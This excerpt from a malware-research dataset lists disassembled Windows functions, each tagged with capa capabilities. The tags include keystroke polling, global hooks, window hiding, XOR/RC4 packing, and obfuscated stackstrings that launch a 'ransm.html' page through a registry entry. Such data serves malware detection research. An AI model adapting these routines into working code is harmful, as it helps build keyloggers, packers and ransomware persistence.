joyce8/EMBER2024-capa huggingface dataset:
Function at 0x454988
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x454b33
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x454b14
mov dl, 1
mov eax, dword [0x4122a8]
call fcn.004036d8
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404474
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x454b03
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004420bc
test al, al
je 0x454af6
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x454b44
lea eax, [ebp - 0x254]
call fcn.00409414
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x454af6
xor eax, eax
push ebp
push 0x454aef
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x454b7c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x454ad8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004046dc
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x454ad8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004046dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x454af6
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4549f9
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041654c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x454b3a
lea eax, [ebp - 0x260]
call fcn.00404474
ret

Function at 0x455468
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x48dbfc]
cmp byte [eax + 0xa5], 0
jne 0x4554d9
cmp dword [0x48dc14], 0
jne 0x45549a
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x455424
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x48dc14], eax
cmp dword [0x48dc10], 0
jne 0x4554b5
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x48dc10], eax
cmp dword [0x48dc18], 0
jne 0x4554d9
push esp
push 0
push 0
push 0x4553c8
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x48dc18], eax
pop edx
ret
Function at 0x4555d0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4555e7
add esp, 0xfffffff0
call fcn.00403a6c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041dfb4
mov eax, dword [0x48c590]
cmp word [eax + 2], 0
jne 0x45560f
mov eax, dword [0x48c590]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00456cac
mov eax, dword [0x48c65c]
cmp word [eax + 2], 0
jne 0x455629
mov eax, dword [0x48c65c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00456ea4
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411db8]
call fcn.004036d8
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411db8]
call fcn.004036d8
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0x80000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x4203cc]
call fcn.00427844
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x4557b0
mov eax, dword [0x48c474]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00427c14
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x457414
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x48c474]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040af18
test eax, eax
je 0x45571e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408d70
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040af40
test eax, eax
je 0x455732
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004046dc
mov eax, dword [0x48c2e0]
cmp byte [eax], 0
jne 0x455766
mov eax, ebx
call fcn.004558d8
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.004575f0
mov eax, ebx
call fcn.00457f30
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4557a6
call fcn.00403ac4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x455b4c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x48dbfc]
cmp dword [eax + 0x30], 0
je 0x455bf6
cmp dword [ebx + 0x94], 0
jne 0x455bf0
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x455adc
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x455bf0
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x455bb6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x455bf0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041459c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x455bc5
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4566d4
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x456709
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404564
jmp 0x456716
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004044c8
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4577cc
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45780d
mov eax, esi
call fcn.0043d794
test al, al
je 0x45780d
mov eax, dword [ebx + 0x84]
call fcn.0043d490
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45780d
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043d490
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x46e4b8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov ebx, edx
mov dword [ebp - 0xc], eax
xor eax, eax
mov al, byte [ebx + 4]
mov word [ebp - 6], ax
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x46e4df
add word [ebp - 6], 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x46e4f1
add word [ebp - 6], 0x4000
test byte [ebx + 0xb], 0x20
je 0x46e4fd
add word [ebp - 6], 0x8000
mov byte [ebp - 0xd], 0
movzx edx, word [ebp - 6]
mov cl, 2
mov eax, dword [ebp - 0xc]
call fcn.0046e348
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x46e565
lea edx, [ebp - 4]
mov eax, dword [0x48c77c]
mov eax, dword [eax]
call fcn.00428530
xor eax, eax
push ebp
push 0x46e55e
push dword fs:[eax]
mov dword fs:[eax], esp
push ebp
lea eax, [ebp - 4]
xor edx, edx
call fcn.0046e378
pop ecx
mov byte [ebp - 0xd], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46e565
mov eax, dword [0x48c77c]
mov eax, dword [eax]
call fcn.00428528
ret
cmp byte [ebp - 0xd], 2
je 0x46e4fd
cmp dword [ebp - 4], 0
setne al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x471590
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4716dc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0045ee28
test eax, eax
je 0x4716be
mov eax, ebx
call fcn.0045ee28
test byte [eax + 0x2ec], 8
jne 0x4716be
mov al, byte [ebx + 0x79]
cmp al, 4
je 0x4716b7
mov byte [ebx + 0x78], al
mov byte [ebx + 0x79], 4
mov al, byte [ebx + 0x78]
cmp al, 2
je 0x47160e
cmp al, 1
je 0x47160e
cmp al, 3
je 0x47160e
mov eax, ebx
call fcn.0045ee28
lea edx, [ebp - 0x10]
call fcn.0043677c
lea esi, [ebp - 0x10]
lea edi, [ebx + 0x68]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [ebx + 0x10a], 0
je 0x471659
lea edx, [ebp - 0x14]
mov eax, dword [0x48c63c]
mov eax, dword [eax]
call fcn.004566d4
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x94]
mov ecx, 0x3f
call fcn.00408df0
mov eax, dword [0x48c63c]
mov eax, dword [eax]
call fcn.004564e8
push 0
mov eax, dword [0x48c63c]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_ShowWindow
jmp 0x471695
mov eax, ebx
call fcn.0045ee28
test eax, eax
je 0x471686
mov eax, ebx
call fcn.0045ee28
lea edx, [ebp - 0x18]
call fcn.00436ddc
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x94]
mov ecx, 0x3f
call fcn.00408df0
push 0
mov eax, ebx
call fcn.0045ee34
push eax
call sub.user32.dll_ShowWindow
cmp byte [ebx + 0x18c], 0
jne 0x4716be
lea eax, [ebx + 0x7c]
push eax
push 0
call sub.shell32.dll_Shell_NotifyIconA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebx + 0x18c], al
jmp 0x4716be
mov eax, ebx
call fcn.00471054
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4716e3
lea eax, [ebp - 0x18]
call fcn.00404474
lea eax, [ebp - 0x14]
call fcn.00404474
ret
Function at 0x4784a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, eax
mov edi, dword [ebx + 0x24]
mov esi, dword [ebx + 0x34]
sub esi, dword [ebx + 0x6c]
sub esi, dword [ebx + 0x64]
test esi, esi
jne 0x4784ca
cmp dword [ebx + 0x64], 0
jne 0x4784ca
cmp dword [ebx + 0x6c], 0
jne 0x4784ca
mov esi, edi
jmp 0x478558
cmp esi, 0xffffffff
jne 0x4784d5
dec esi
jmp 0x478558
mov eax, dword [ebx + 0x64]
lea edx, [edi + edi]
sub edx, 0x106
cmp eax, edx
jb 0x478558
mov eax, dword [ebx + 0x30]
lea edx, [eax + edi]
mov ebp, edi
mov ecx, ebp
call fcn.00476458
sub dword [ebx + 0x68], edi
sub dword [ebx + 0x64], edi
sub dword [ebx + 0x54], ebp
mov eax, dword [ebx + 0x44]
mov edx, dword [ebx + 0x3c]
lea edx, [edx + eax*2]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp edi, dword [esp]
ja 0x478520
mov cx, word [esp]
sub cx, di
mov word [edx], cx
jmp 0x478525
mov word [edx], 0
dec eax
test eax, eax
jne 0x478506
mov eax, edi
mov edx, dword [ebx + 0x38]
lea edx, [edx + eax*2]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp edi, dword [esp]
ja 0x47854c
mov cx, word [esp]
sub cx, di
mov word [edx], cx
jmp 0x478551
mov word [edx], 0
dec eax
test eax, eax
jne 0x478532
add esi, edi
mov eax, dword [ebx]
cmp dword [eax + 4], 0
je 0x4785b6
mov edx, dword [ebx + 0x64]
add edx, dword [ebx + 0x6c]
mov ecx, dword [ebx + 0x30]
lea edx, [ecx + edx]
mov ecx, esi
call fcn.00478228
add dword [ebx + 0x6c], eax
cmp dword [ebx + 0x6c], 3
jb 0x4785a1
mov eax, dword [ebx + 0x64]
mov edx, dword [ebx + 0x30]
movzx eax, byte [edx + eax]
mov dword [ebx + 0x40], eax
mov ecx, dword [ebx + 0x50]
shl eax, cl
mov edx, dword [ebx + 0x64]
mov ecx, dword [ebx + 0x30]
movzx edx, byte [ecx + edx + 1]
xor eax, edx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp dword [ebx + 0x6c], 0x106
jae 0x4785b6
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x4784aa
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x26146579
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x75914d6e
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x10022240
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x1006af8b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1007d1f8]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [esp + 0x24]
lea ecx, [esi + 4]
mov dword [esi], 0x1007500c
call fcn.1006853b
push 4
mov dword [esp + 0x20], 0
call fcn.10041593
mov edi, eax
add esp, 4
test edi, edi
je 0x100222c0
call fcn.10068141
mov dword [edi], eax
call fcn.10067f4b
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.10068331
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x100222b5
add eax, 1
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call fcn.10068352
jmp 0x100222c2
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x401460
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x194
mov dword [ebp - 0x80], 0x64
mov dword [ebp - 0x148], 0x505c3a43
mov dword [ebp - 0x144], 0x72676f72
mov dword [ebp - 0x140], 0x46206d61
mov dword [ebp - 0x13c], 0x73656c69
mov dword [ebp - 0x138], 0x746e495c
mov dword [ebp - 0x134], 0x656e7265
mov dword [ebp - 0x130], 0x78452074
mov dword [ebp - 0x12c], 0x726f6c70
mov dword [ebp - 0x128], 0x695c7265
mov dword [ebp - 0x124], 0x6c707865
mov dword [ebp - 0x120], 0x2e65726f
mov dword [ebp - 0x11c], 0x20657865
mov dword [ebp - 0x118], 0x22206b2d
mov dword [ebp - 0x114], 0x555c3a63
mov dword [ebp - 0x110], 0x73726573
mov dword [ebp - 0x10c], 0x5c
lea edx, [ebp - 0x108]
mov eax, 0
mov ecx, 9
mov edi, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x80]
mov dword [esp + 4], eax
lea eax, [ebp - 0x7c]
mov dword [esp], eax
call 0x404868
sub esp, 8
mov dword [ebp - 0xc], 0
jmp 0x40155f
lea edx, [ebp - 0x7c]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0xe4]
mov edx, dword [ebp - 0xc]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0xc], 1
lea eax, [ebp - 0x7c]
mov dword [esp], eax
call 0x404788
mov edx, eax
mov eax, dword [ebp - 0xc]
cmp edx, eax
ja 0x401543
lea eax, [ebp - 0x7c]
mov dword [esp], eax
call 0x404788
mov dword [ebp - 0xc], eax
jmp 0x401595
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0xc]
add eax, edx
mov byte [eax], 0
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x63
jle 0x401583
lea eax, [ebp - 0xe4]
mov dword [esp], eax
call 0x404788
mov dword [esp + 8], eax
lea eax, [ebp - 0xe4]
mov dword [esp + 4], eax
lea eax, [ebp - 0x148]
mov dword [esp], eax
call 0x404780
mov dword [ebp - 0x15d], 0x7365445c
mov dword [ebp - 0x159], 0x706f746b
mov dword [ebp - 0x155], 0x6e61725c
mov dword [ebp - 0x151], 0x682e6d73
mov dword [ebp - 0x14d], 0x226c6d74
mov byte [ebp - 0x149], 0
mov dword [esp + 8], 0x15
lea eax, [ebp - 0x15d]
mov dword [esp + 4], eax
lea eax, [ebp - 0x148]
mov dword [esp], eax
call 0x404780
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x406075
mov dword [esp + 8], 0
mov dword [esp + 4], 0x406080
mov dword [esp], 0x80000001
call 0x404858
sub esp, 0x24
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4016d0
lea eax, [ebp - 0x148]
mov dword [esp], eax
call 0x404788
lea edx, [eax + 1]
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x148]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0x4060b6
mov dword [esp], eax
call 0x404850
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4016d0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call 0x404860
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call 0x404860
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x401ed4
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x4022a0
call fcn.00402214
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x401f34
cmp eax, 0xffffffff
je 0x401f34
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x401f2d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x401f2d
cmp edx, 0x10000000
jae 0x401f2d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x401f2a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.00402259
ret 4

Function at 0x401f80
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x401fbe
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x401fb6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x401fc0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x401fa6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x402090
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4020a6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x4020c1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x408536
Capabilities:
Encode data using xor

Disassembly:
call 0x4084af
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x4084df
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x4084fb
xor edx, 0
jmp 0x408506
xor edx, edx
jmp 0x40851d
jmp 0x408529
xor eax, eax
push 0x8427d7c0
call 0x408536
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x408572
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x40854b
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x408589
add eax, 0
jno 0x40858e
add esi, 0
ret 0x10
Function at 0x4092f7
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x409319
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x4094bb
cmp edi, dword [ebp + 0x10]
jb 0x4094bb
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.00408de3
inc edi
jmp 0x4093a2
jmp 0x4093af
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.00408de3
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.00408de3
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x409403
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x4093e7
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.00409431
add dword [eax], 0x39
jle 0x40940d
sub al, 0xf5
mov ch, al
call fcn.00409446
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x40b11e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x40b134
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x40b145
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.0040b186
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx